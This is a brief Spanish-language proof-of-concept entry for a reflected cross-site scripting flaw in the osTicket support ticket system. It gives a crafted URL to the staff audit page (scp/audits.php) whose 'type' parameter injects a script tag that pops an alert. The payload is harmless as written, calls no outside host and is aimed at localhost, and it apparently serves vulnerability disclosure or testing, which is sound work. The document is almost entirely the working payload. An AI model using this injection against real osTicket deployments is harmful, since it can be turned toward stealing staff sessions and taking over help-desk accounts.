
Exploit de prueba de concepto de XSS reflejado para el sistema de tickets de soporte osTicket, que demuestra la inyección a través de parámetros del registro de auditoría.
XSS Reflejado
http://localhost/scp/audits.php?startData=&endDate=&type="><script>alert('reflectedXSS')</script>